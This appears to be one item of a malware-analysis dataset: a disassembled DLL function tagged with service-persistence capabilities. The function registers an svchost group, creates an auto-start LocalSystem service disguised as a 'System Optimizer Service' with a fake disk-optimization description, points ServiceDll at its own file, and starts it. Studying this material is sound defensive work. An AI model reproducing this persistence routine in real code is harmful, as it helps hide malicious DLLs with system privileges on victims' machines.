Function at 0x10003150
Capabilities:
Create service
Modify service
Persist via windows service
Query service status
Start service

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d86b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xd80
mov eax, dword [0x101b100c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x210
lea eax, [ebp - 0x868]
push 0
push eax
call fcn.1000d180
add esp, 0xc
lea ecx, [ebp - 0x868]
call fcn.100079a0
push 0x101ac740
lea ecx, [ebp - 0x970]
call fcn.10002c80
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
lea eax, [ebp - 0x864]
mov dword [ebp - 4], 0
push 0x104
push eax
mov dword [ebp - 0x868], 0x80000002
call fcn.1000df77
add esp, 0xc
lea ecx, [ebp - 0x868]
push str.SystemOptimizerGroup
call fcn.10007a20
test al, al
je 0x1000321b
push 0x28
push str.SystemOptimizerSrv
push str.SystemOptimizerGroup
lea ecx, [ebp - 0x868]
call fcn.10007c70
test al, al
jne 0x10003280
push 0x28
push str.SystemOptimizerSrv
push 7
push str.SystemOptimizerGroup
lea ecx, [ebp - 0x868]
call fcn.10007ab0
movzx eax, al
neg eax
sbb eax, eax
add eax, 3
cmp eax, 3
jb 0x10003280
push str.SystemOptimizerSrv
push str.SystemOptimizerGroup
push str.error_reg.CmpAndSetMuStringValue__S___S_.
push 0
push 0x101ac740
push str.......project_basedllmain.cpp
push 0x52
call fcn.10007170
push eax
call fcn.100073e0
add esp, 0x20
lea ecx, [ebp - 0x970]
call fcn.10002d40
xor al, al
jmp 0x100038ad
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x100033a3
mov esi, dword [0x101b2520]
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
test esi, esi
jne 0x10003300
push 0x124
call fcn.1000a8d6
add esp, 4
mov esi, eax
mov dword [ebp - 0xd84], esi
push 0x124
push 0
push esi
call fcn.1000d180
add esp, 0xc
mov dword [esi], 0
lea eax, [esi + 4]
mov dword [esi + 0x108], 0xffffffff
push 0x104
push 0
push eax
call fcn.1000d180
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call edi
mov dword [0x101b2520], esi
push str.error_OpenSCManager.
push 0
push 0x101ac740
push str.......project_basedllmain.cpp
push 0x59
push esi
call fcn.100073e0
mov esi, dword [0x101b2520]
add esp, 0x18
test esi, esi
jne 0x1000337d
push 0x124
call fcn.1000a8d6
add esp, 4
mov esi, eax
mov dword [ebp - 0xd8c], esi
push 0x124
push 0
push esi
call fcn.1000d180
add esp, 0xc
mov dword [esi], 0
lea eax, [esi + 4]
mov dword [esi + 0x108], 0xffffffff
push 0x104
push 0
push eax
call fcn.1000d180
add esp, 0xc
lea eax, [esi + 0x10c]
push eax
call edi
mov dword [0x101b2520], esi
push 0x101ac740
push str.......project_basedllmain.cpp
push 0x59
push ecx
mov ecx, esi
call fcn.10007830
lea ecx, [ebp - 0x970]
call fcn.10002d40
xor al, al
jmp 0x100038ad
push 0x208
lea eax, [ebp - 0x630]
push 0
push eax
call fcn.1000d180
add esp, 0xc
lea eax, [ebp - 0x630]
push str._SystemRoot_System32_svchost.exe__k
push 0x104
push eax
call fcn.1000df77
add esp, 0xc
lea eax, [ebp - 0x630]
push str.SystemOptimizerGroup
push 0x104
push eax
call fcn.1000dfdb
add esp, 0xc
push 0xf01ff
push str.SystemOptimizerSrv
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x100034ac
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x630]
push eax
push 1
push 2
push 0x20
push 0xf01ff
push str.System_Optimizer_Service
push str.SystemOptimizerSrv
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x10003492
lea eax, [ebp - 0x630]
push eax
push str.SystemOptimizerSrv
push str.error_CreateService__S___S_
push esi
push 0x101ac740
push str.......project_basedllmain.cpp
push 0x6a
call fcn.10007170
push eax
call fcn.100073e0
add esp, 0x20
push 0x101ac740
push str.......project_basedllmain.cpp
push 0x6a
push ecx
call fcn.10007170
mov ecx, eax
call fcn.10007830
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [ebp - 0x970]
call fcn.10002d40
xor al, al
jmp 0x100038ad
lea eax, [ebp - 0xd84]
mov dword [ebp - 0xd84], str.System_disk_partition_optimization_service__stopping_this_service_will_not_optimize_the_system_disk_in_time.
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov ecx, esi
call fcn.10003000
push 0x208
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.1000d180
add esp, 0xc
call fcn.10004450
push 0x104
lea ecx, [ebp - 0x428]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x208
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.1000d180
add esp, 0xc
lea eax, [ebp - 0x220]
push str.SYSTEMCurrentControlSetServices_
push 0x104
push eax
call fcn.1000df77
add esp, 0xc
lea eax, [ebp - 0x220]
push str.SystemOptimizerSrv
push 0x104
push eax
call fcn.1000dfdb
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x864]
push 0x104
push eax
call fcn.1000df77
add esp, 0xc
lea ecx, [ebp - 0x868]
push str.DeleteFlag
call fcn.10007a20
test al, al
je 0x10003569
push str.DeleteFlag
lea ecx, [ebp - 0x868]
call fcn.10007be0
push str.Group
lea ecx, [ebp - 0x868]
call fcn.10007a20
test al, al
je 0x1000358d
push str.Group
lea ecx, [ebp - 0x868]
call fcn.10007be0
push str.Description
lea ecx, [ebp - 0x868]
call fcn.10007a20
test al, al
jne 0x100035bd
push 0xda
push str.System_disk_partition_optimization_service__stopping_this_service_will_not_optimize_the_system_disk_in_time.
push 1
push str.Description
lea ecx, [ebp - 0x868]
call fcn.10007ab0
push str.DisplayName
lea ecx, [ebp - 0x868]
call fcn.10007a20
test al, al
jne 0x100035e6
push str.System_Optimizer_Service
push str.DisplayName
lea ecx, [ebp - 0x868]
call fcn.10007e00
push str.ErrorControl
lea ecx, [ebp - 0x868]
mov dword [ebp - 0x634], 1
call fcn.10007a20
test al, al
je 0x10003621
push 4
lea eax, [ebp - 0x634]
push eax
push str.ErrorControl
lea ecx, [ebp - 0x868]
call fcn.10007c70
test al, al
jne 0x1000363c
push 4
lea eax, [ebp - 0x634]
push eax
push 4
push str.ErrorControl
lea ecx, [ebp - 0x868]
call fcn.10007ab0
lea eax, [ebp - 0x630]
push eax
push str.ImagePath
lea ecx, [ebp - 0x868]
call fcn.10007e80
push str.LocalSystem
push str.ObjectName
lea ecx, [ebp - 0x868]
call fcn.10007e00
push str.Start
lea ecx, [ebp - 0x868]
mov dword [ebp - 0x638], 2
call fcn.10007a20
test al, al
je 0x100036a3
push 4
lea eax, [ebp - 0x638]
push eax
push str.Start
lea ecx, [ebp - 0x868]
call fcn.10007c70
test al, al
jne 0x100036be
push 4
lea eax, [ebp - 0x638]
push eax
push 4
push str.Start
lea ecx, [ebp - 0x868]
call fcn.10007ab0
push str.Type
lea ecx, [ebp - 0x868]
mov dword [ebp - 0x63c], 0x20
call fcn.10007a20
test al, al
je 0x100036f9
push 4
lea eax, [ebp - 0x63c]
push eax
push str.Type
lea ecx, [ebp - 0x868]
call fcn.10007c70
test al, al
jne 0x10003714
push 4
lea eax, [ebp - 0x63c]
push eax
push 4
push str.Type
lea ecx, [ebp - 0x868]
call fcn.10007ab0
call fcn.10007f00
test al, al
je 0x1000372f
push 1
push str.WOW64
lea ecx, [ebp - 0x868]
call fcn.10007da0
push str.Parameters
lea eax, [ebp - 0x220]
push 0x104
push eax
call fcn.1000dfdb
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x864]
push 0x104
push eax
call fcn.1000df77
add esp, 0xc
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0x868]
push eax
push str.ServiceDll
call fcn.10007e80
cmp eax, 3
jl 0x100037b1
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x220]
push eax
push str.error_reg.CmpAndSetExStringValue__S__ServiceDll___S_.
push 0
push 0x101ac740
push str.......project_basedllmain.cpp
push 0x92
call fcn.10007170
push eax
call fcn.100073e0
add esp, 0x20
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
sub esp, 8
lea ecx, [ebp - 0xd80]
call fcn.10007f50
lea ecx, [ebp - 0x428]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100037d5
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x428]
push eax
sub esp, 8
lea ecx, [ebp - 0xd80]
call fcn.10007fe0
lea eax, [ebp - 0x658]
mov byte [ebp - 0xd85], 1
xorps xmm0, xmm0
mov dword [ebp - 0x658], 0
push eax
push esi
movups xmmword [ebp - 0x654], xmm0
movq qword [ebp - 0x644], xmm0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x654], 4
je 0x10003890
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10003890
push str.error_StartService
push eax
push 0x101ac740
push str.......project_basedllmain.cpp
push 0xa4
call fcn.10007170
push eax
call fcn.100073e0
add esp, 0x18
push 0x101ac740
push str.......project_basedllmain.cpp
push 0xa4
push ecx
call fcn.10007170
mov ecx, eax
call fcn.10007830
mov byte [ebp - 0xd85], 0
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
lea ecx, [ebp - 0x970]
call fcn.10002d40
mov al, byte [ebp - 0xd85]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000a89d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret